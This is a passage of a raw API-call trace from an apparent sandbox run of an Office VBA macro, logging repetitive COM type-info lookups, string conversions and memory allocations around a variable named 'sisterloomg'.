pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.206] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.206] IUnknown:Release (This=0xb941980) returned 0x4 [0076.206] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.206] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395e40, cbMultiByte=2, lpWideCharStr=0x5ed3afa, cchWideChar=6 | out: lpWideCharStr="uT") returned 2 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.206] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.206] IUnknown:Release (This=0xb941980) returned 0x4 [0076.206] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.206] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.206] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5f70000 [0076.207] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.207] IUnknown:Release (This=0xb941980) returned 0x4 [0076.207] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.207] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.207] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.207] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.207] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.207] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.207] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.207] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.207] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.207] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.207] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100a2, cbMultiByte=12, lpWideCharStr=0x1ff470, cchWideChar=13 | out: lpWideCharStr="sisterloomg") returned 12 [0076.207] ITypeComp:RemoteBind (in: This=0x679bb90, szName="sisterloomg", lHashVal=0x1026bc, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100a2, cbMultiByte=12, lpWideCharStr=0x1ff470, cchWideChar=13 | out: lpWideCharStr="sisterloomg") returned 12 [0076.208] ITypeComp:RemoteBind (in: This=0x5a48630, szName="sisterloomg", lHashVal=0x1026bc, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100a2, cbMultiByte=12, lpWideCharStr=0x1ff470, cchWideChar=13 | out: lpWideCharStr="sisterloomg") returned 12 [0076.208] ITypeComp:RemoteBind (in: This=0x679c130, szName="sisterloomg", lHashVal=0x1026bc, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100a2, cbMultiByte=12, lpWideCharStr=0x1ff470, cchWideChar=13 | out: lpWideCharStr="sisterloomg") returned 12 [0076.208] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="sisterloomg", lHashVal=0x1026bc, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.208] IMalloc:Alloc (This=0x7fefe465380, cb=0x13) returned 0x62ed410 [0076.208] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xc, _Src=0x5d100a2 | out: _Dst=0x62ed410) returned 0x0 [0076.208] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x13, _Src="_B_var_sisterloomg" | out: _Dst="_B_var_sisterloomg") returned 0x0 [0076.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=19, lpWideCharStr=0x1ff3d0, cchWideChar=19 | out: lpWideCharStr="_B_var_sisterloomg") returned 19 [0076.208] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.208] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_sisterloomg", lHashVal=0x10089d, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.208] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.208] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.208] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_sisterloomg", lHashVal=0x10089d, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.208] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.208] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.208] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_sisterloomg", lHashVal=0x10089d, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.208] IUnknown:Release (This=0x679c120) returned 0x7 [0076.208] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.208] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_sisterloomg", lHashVal=0x10089d, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.208] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.208] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.208] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d103e2, cbMultiByte=19, lpWideCharStr=0x1ff430, cchWideChar=20 | out: lpWideCharStr="_B_var_sisterloomg") returned 19 [0076.208] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_sisterloomg", lHashVal=0x10089d, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x73005f00720061, ppTypeComp=0x65007400000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x73005f00720061, ppTypeComp=0x65007400000000, pDummy=0x0) returned 0x0 [0076.208] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xc, _Src=0x5d100a2 | out: _Dst=0x1ff5f0) returned 0x0 [0076.209] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5f90000 [0076.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395ede, cbMultiByte=3, lpWideCharStr=0x5f90064, cchWideChar=8 | out: lpWideCharStr="xeC") returned 3 [0076.210] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fec40, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.210] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fec40, pbstrName=0x0, pwOrdinal=0x1fec60 | out: pBstrDllName=0x1fec40*=0x0, pbstrName=0x0, pwOrdinal=0x1fec60*=0xeed0) returned 0x0 [0076.210] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fec40, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fec40, pwOrdinal=0x500000000) returned 0x0 [0076.210] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1ff230, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.210] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff230, pbstrName=0x0, pwOrdinal=0x1ff250 | out: pBstrDllName=0x1ff230*=0x0, pbstrName=0x0, pwOrdinal=0x1ff250*=0xf4c0) returned 0x0 [0076.210] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff230, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff230, pwOrdinal=0x500000000) returned 0x0 [0076.210] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fec40, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.210] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fec40, pbstrName=0x0, pwOrdinal=0x1fec60 | out: pBstrDllName=0x1fec40*=0x0, pbstrName=0x0, pwOrdinal=0x1fec60*=0xeed0) returned 0x0 [0076.210] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fec40, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fec40, pwOrdinal=0x500000000) returned 0x0 [0076.210] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1feb00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1feb00, pbstrName=0x0, pwOrdinal=0x1feb20 | out: pBstrDllName=0x1feb00*=0x0, pbstrName=0x0, pwOrdinal=0x1feb20*=0xed90) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1feb00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1feb00, pbstrName=0x0, pwOrdinal=0x1feb20 | out: pBstrDllName=0x1feb00*=0x0, pbstrName=0x0, pwOrdinal=0x1feb20*=0xed90) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1ff230, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff230, pbstrName=0x0, pwOrdinal=0x1ff250 | out: pBstrDllName=0x1ff230*=0x0, pbstrName=0x0, pwOrdinal=0x1ff250*=0xf4c0) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff230, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff230, pwOrdinal=0x500000000) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1feba0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1feba0, pbstrName=0x0, pwOrdinal=0x1febc0 | out: pBstrDllName=0x1feba0*=0x0, pbstrName=0x0, pwOrdinal=0x1febc0*=0xee30) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feba0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feba0, pwOrdinal=0x500000000) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fe860, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fe860, pbstrName=0x0, pwOrdinal=0x1fe880 | out: pBstrDllName=0x1fe860*=0x0, pbstrName=0x0, pwOrdinal=0x1fe880*=0xeaf0) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe860, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe860, pwOrdinal=0x500000000) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x1feb00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1feb00, pbstrName=0x0, pwOrdinal=0x1feb20 | out: pBstrDllName=0x1feb00*=0x0, pbstrName=0x0, pwOrdinal=0x1feb20*=0xed90) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fe7c0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.211] ITypeInfo:RemoteGetDllEntry (in: 